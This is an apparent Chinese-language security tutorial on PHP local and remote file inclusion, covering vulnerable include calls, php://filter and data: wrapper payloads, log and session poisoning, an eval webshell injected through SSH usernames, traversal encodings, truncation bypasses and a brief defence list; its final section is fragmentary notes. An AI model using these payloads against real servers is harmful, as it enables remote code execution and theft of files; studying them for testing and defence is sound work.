相关函数

php中引发文件包含漏洞的通常是以下四个函数:

1
2
3
4
5
6
1.include()
2.include_once()
3.require()
4.require_once()
5.file_get_contents()
6.readfile()

以上前4个函数的区别

include() 如果出错的话,只会提出警告,会继续执行后续语句。
reuqire() 如果在包含的过程中有错,比如文件不存在等,则会直接退出,不执行后续语句。

include_once()、require_once()功能与上述两者几乎相同。不同的是如果一个文件已经被包含了,则不会被再次包含,以此避免函数重定义或者变量重新赋值等问题。

利用这四个函数所包含的文件都会被直接作为php文件进行解析。

test1

1
2
3
4
<?php
$file = $_GET['file'];
include $file;
?>

若在同一目录下有文件info.txt,内容为 那么访问:

1
xxxx?file=info.txt

即可成功解析phpinfo

分类

LFI(Local File Inclusion)

本地文件包含漏洞,即是指能打开并包含本地文件的漏洞。
test1即为本地文件包含漏洞

RFI(Remote File Inclusion)

远程文件包含漏洞,即是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,因此漏洞一旦存在危害性会很大。
RFI(Remote File Inclusion) 的利用需要条件,在php.ini中进行配置

1
2
1.allow_url_fopen = On
2.allow_url_include = On

当两个配置均开启时,才能够远程包含文件成功

phpini中, allow_url_fopen = On 默认时一直为On,但 allow_url_include 从php5.2之后就默认为off

包含技巧

下面例子中测试代码均为:

1
2
3
4
5
6
7
8
include.php:
<?php
$file = $_GET['file'];
include $file;
?>

info.txt:
<? phpinfo() ?>

allow_url_fopen 默认为 On
allow_url_include 默认为 Off

若有特殊要求,会在利用条件里指出

php伪协议

php://input

利用条件:

1
2
1.allow_url_include = On
2.对allow_url_fopen不做要求
1
2
3
4
xxx/include.php?file=php://input

POST:
<?php phpinfo(); ?>

php://filter

这个是一个过滤器,里面的过滤方法很多,我们如果不想执行被包含的代码,我们就可以使用base64 编码输出,通常用来读取源码

php://filter 目标使用以下的参数作为它路径的一部分。 复合过滤链能够在一个路径上指定

1
include.php?file=php://filter/read=convert.base64-encode/resource=flag.txt

通过指定末尾的文件,可以读取经base64加密后的文件源码,之后再base64解码一下就行。虽然不能直接获取到shell等,但能读取敏感文件危害也是挺大的。
index.php?file=php://filter/convert.base64-encode/resource=index.php
效果跟前面一样,少了read等关键字。在绕过一些waf时也许有用

1
2
3
4
resource=<要过滤的数据流>     这个参数是必须的,且必须位于 php://filter 的末尾,并且指向需要过滤筛选的数据流。
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
<;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。
1
2
3
4
注意点:
**(1)记住一旦使用了 read 选项,我们就值关心数据流的来源,这里的数据流的来源就是 resource 传入的,至于经过过滤器以后这个数据流要去哪里,这不是我们这个处理能决定的,还要依赖外部的函数**
**(2)一旦使用了 write 选项,我们就只关系数据的输出,数据的输出就是我们指定的 resource 的文件,而数据的输入要靠外部的函数帮我们实现**
**(3)我们的过滤是按照过滤器从左到右的顺序进行的,不要错误地认为是从右到左**
过滤器

(1)字符串过滤器

|:————:|:————-:|
|string.rot13|进行rot13转换|
|string.toupper|将字符全部大写|
|string.tolower|将字符全部小写|
|string.strip_tags|去除空字符、HTML 和 PHP 标记后的结果|

(2)转换过滤器

|:————:|:————-:|
|convert.base64-encode|base64 编码|
|convert.base64-decode|base64 解码|
|convert.quoted-printable-encode|quoted-printable 编码(也是另一种将二进制进行编码的方案)|
|convert.quoted-printable-decode|quoted-printable 解码|
|convert.iconv|实现任意两种编码之间的转换|

(3)压缩过滤器

|:————:|:————-:|
|zlib.deflate|压缩过滤器|
|zlib.inflate|解压过滤器|
|bzip2.compress|压缩过滤器|
|bzip2.decompress|解压过滤器|

(4)加密过滤器

|:————:|:————-:|
|mcrypt.|加密过滤器|
|mdecrypt.
|解密过滤器|

实例

1
2
3
4
readfile(“php://filter/resource=http://www.example.com");
readfile(“php://filter/read=string.toupper/resource=http://www.example.com");
readfile(“php://filter/read=string.toupper|string.rot13/resource=http://www.example.com");
file_put_contents(“php://filter/write=string.rot13/resource=example.txt”,”Hello World”);

特别提一下这个过滤器convert.iconv

这个过滤器能实现几乎任意的两种编码之间的转化

1
2
3
php://filter/read=convert.iconv.UTF-8%2FASCII%2F%2FTRANSLIT/resource=...
convert.iconv.ISO-8859-1/UTF-8
php://filter/convert.iconv.UTF-8%2fUTF-7/resource=

phar://

利用条件:php版本大于等于php5.3.0

假设有个文件info.txt,其内容为,将其打包为zip压缩包

指定绝对路径

1
include.php?file=phar://D:/software/phpstudy/PHPTutorial/WWW/test/info.zip/info.txt

或者使用相对路径(这里test.zip就在当前目录下)

1
include.php?file=phar://info.zip/info.txt

使用phar://拓展php反序列化攻击面

zip://

利用条件:php版本大于等于php5.3.0

构造zip包的方法与phar相同

但使用zip协议,需要指定绝对路径,注意url编码,因为这个 # 会和url协议中的 # 冲突,将 # 编码为 %23 ,之后加上压缩包内的问件

1
include.php?file=zip://D:/software/phpstudy/PHPTutorial/WWW/test/info.zip%23info.txt

data:URL schema

数据流封装器,和php://相似都是利用了流的概念,将原本的include的文件流重定向到了用户可控制的输入流中,简单来说就是执行文件的包含方法包含了你的输入流,通过你输入payload来实现目的;

和php伪协议的input类似

利用条件:
1.php版本大于等于php5.2
2.allow_url_fopen = On
3.allow_url_include = On

data:text/plain

输出直接显示在相应的URL中,显示参数:data:text/plain。
然后你需要执行如下所示的php代码:

1
include.php?file=data:text/plain,<?php phpinfo();?>

执行命令:

1
include.php?file=data:text/plain,<?php system('whoami');?>

data:text/plain;base64

有另一种方法来使用data: text/plain; base64,不过此时你需要使用base64编码来执行PHP代码,base64php代码如下所示:

1
include.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

其中加号+的url编码为%2b,PD9waHAgcGhwaW5mbygpOz8+的base64解码为:

包含session

利用条件:session文件路径已知,且其中内容部分可控

php的session文件的保存路径可以在phpinfo的session.save_path看到

常见的php-session存放位置:

1
2
3
4
1./var/lib/php/sess_PHPSESSID
2./var/lib/php/sess_PHPSESSID
3./tmp/sess_PHPSESSID
4./tmp/sessions/sess_PHPSESSID

session的文件名格式为sess_[phpsessid]。而phpsessid在发送的请求的cookie字段中可以看到

要包含并利用的话,需要能控制部分sesssion文件的内容。暂时没有通用的办法。有些时候,可以先包含进session文件,观察里面的内容,然后根据里面的字段来发现可控的变量,从而利用变量来写入payload,并之后再次包含从而执行php代码

包含日志

访问日志

利用条件:需要知道服务器日志的存储路径,且日志文件可读

开启日志

SSH log

利用条件:需要知道ssh-logd位置,且可读。
默认情况下为/var/log/auth.log

用ssh连接:

1
ssh '<?php @eval($_GET['dd']) ?>'@remotehost

提示输入密码随便输入即可。

然后在remotehost的ssh-log中即可写入php代码

1
include.php?file=/var/log/auth.log&dd=ifconfig

包含environ

利用条件:
1.php以cgi方式运行,这样environ才会保持UA头
2.environ文件存储位置已知,且environ文件刻度

proc/self/environ中会保存user-agent头。如果在user-agent中插入php代码,则php代码会被写入到environ中。之后再包含它,即可。

包含fd

与包含environ类似

包含临时文件

php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用c:\winsdows\temp目录。在临时文件被删除之前,利用竞争即可包含该临时文件。

由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而window下只有65535中不同的文件名,所以这个方法是可行的。

另一种方法是配合phpinfo页面的php variables,可以直接获取到上传文件的存储路径和临时文件名,直接包含即可

类似利用临时文件的存在,竞争时间去包含的,可以看:XMAN夏令营-2017-babyweb-writeup

绕过技巧

平常碰到的情况肯定不会是简简单单的include $_GET[‘file’];这样直接把变量传入包含函数的。在很多时候包含的变量/文件不是完全可控的,比如下面这段代码指定了前缀和后缀:

1
2
3
4
<?php
$file = $_GET['file'];
include '/var/www/html/'.$file.'/test/test.php';
?>

这样就很“难”直接去包含前面提到的种种文件

指定前缀

1
2
3
4
<?php
$file = $_GET['file'];
include '/var/www/html/'.$file;
?>

目录遍历

./当前目录,../上一级目录,这样的遍历目录来读取文件

现在在/var/log/info.txt文件中有php代码 ,则利用../可以进行目录遍历:

1
include.php?file=../../log/info.txt

则服务器端实际拼接出来的路径为:/var/www/html/../../log/test.txt,也即/var/log/test.txt。从而包含成功

编码绕过

服务器端常常会对于../等做一些过滤,可以用一些编码来进行绕过。

一.利用url编码

1.**../**
    1) %2e%2e%2f
    2) ..%2f
    3) %2e%2e/

2.**..\**
    1) %2e%2e%5c
    2) ..%5c
    3) %2e%2e\

二.二次编码

1.**../**
    1) %252e%252e%252f

2.**..\**
    1) %252e%252e%255c

三.容器/服务器的编码方式

1.**../**
    1) ..%c0%af
    2) %c0%ae%c0%ae/    (java中会把”%c0%ae”解析为”\uC0AE”,最后转义为ASCCII字符的”.”(点))

2.**..\**
    1) ..%c1%9c

指定后缀

1
2
3
4
<?php
$file = $_GET['file'];
include $file.'/test/test.php';
?>

URL

url格式

1
2
3
4
5
6
7
8
9
protocol :// hostname[:port] / path / [;parameters][?query]#fragment

1.protocol(协议):指定使用的传输协议
2.hostname(主机名):是指存放资源的服务器的域名系统(DNS)主机名或 IP 地址
3.:port(端口号)
4.path(路径)
5.;parameters(参数)
6.?query(查询)
7.fragment(信息片断)

在远程文件包含漏洞(RFI)中,可以利用query或fragment来绕过后缀限制

query(?)
1
include?file=http://remoteaddr/remoteinfo.txt?

那么包含的文件就为http://remoteaddr/remoteinfo.txt?/test/test.php
问号后面的部分/test/test.php,也就是指定的后缀被当作query从而被绕过的

fragment(#)
1
include.php?file=http://remoteaddr/remoteinfo.txt%23

那么包含的文件为http://remoteaddr/remoteinfo.txt#/test/test.php
#后面的部分/test/test.php,也就是指定的后缀被当作fragment从而被绕过。(注意:需要把#进行url编码为%23)

利用协议

前面提到过利用zip协议和phar协议,现在假设测试代码为:

1
2
3
4
<?php
$file = $_GET['file'];
include $file.'/test/test.php';
?>

构造个压缩包,包内的test.php的内容为:

1
<?php phpinfo(); ?>

利用zip协议(注意要指定绝对路径)

1
include.php?file=zip://D:/software/phpstudy/PHPTutorial/WWW/test/chybeta.zip%23chybeta

那么拼接后则为:zip://D:/software/phpstudy/PHPTutorial/WWW/test/chybeta.zip#chybeta/test/test.php

长度截断

利用条件:php版本 < php 5.2.8

目录字符串,在Linux下4096字节时会达到最大值,在window下是256字节。只要不断的重复./

1
include.php?file=././././........././././shell.txt

则后缀/test/test.php,在达到最大值后会被直接丢弃掉

0字节截断

利用条件:php版本 < php 5.3.4

1
include.php?file=phpinfo.txt%00

防御手法

1.无需情况下设置allow_url_include和allow_url_fopen为关闭
2.在很多场景中都需要去包含web目录之外的文件,如果php配置了open_basedir,则会包含失败
3.做好文件的权限管理
4.对危险字符进行过滤等等
5.尽量不使用动态包含
6.

本地包含配合apache日志拿shell——条件:如果包含不成功,也许是open_basedir限制了目录???

常见几个路径:
/var/log/apache/access_log
/var/www/logs/access_log
/var/log/access_log
更多见上面的路径收集

利用/proc/self/environ进行包含

包含session文件

session文件一般在/tmp目录下,格式为sess_[phpsessid]

包含其他由php创建的tmp文件

上传一个文件的过程,可以在tmp那里包含
jpg
向服务器上任意php文件以form-data方式提交请求上传数据时,会生成临时文件,通过phpinfo来获取临时文件的路径以及名称,然后临时文件在极短时间被删除的时候,需要竞争时间包含临时文件拿到webshell。

jsp文件包含漏洞

asp文件包含漏洞

aspx文件包含漏洞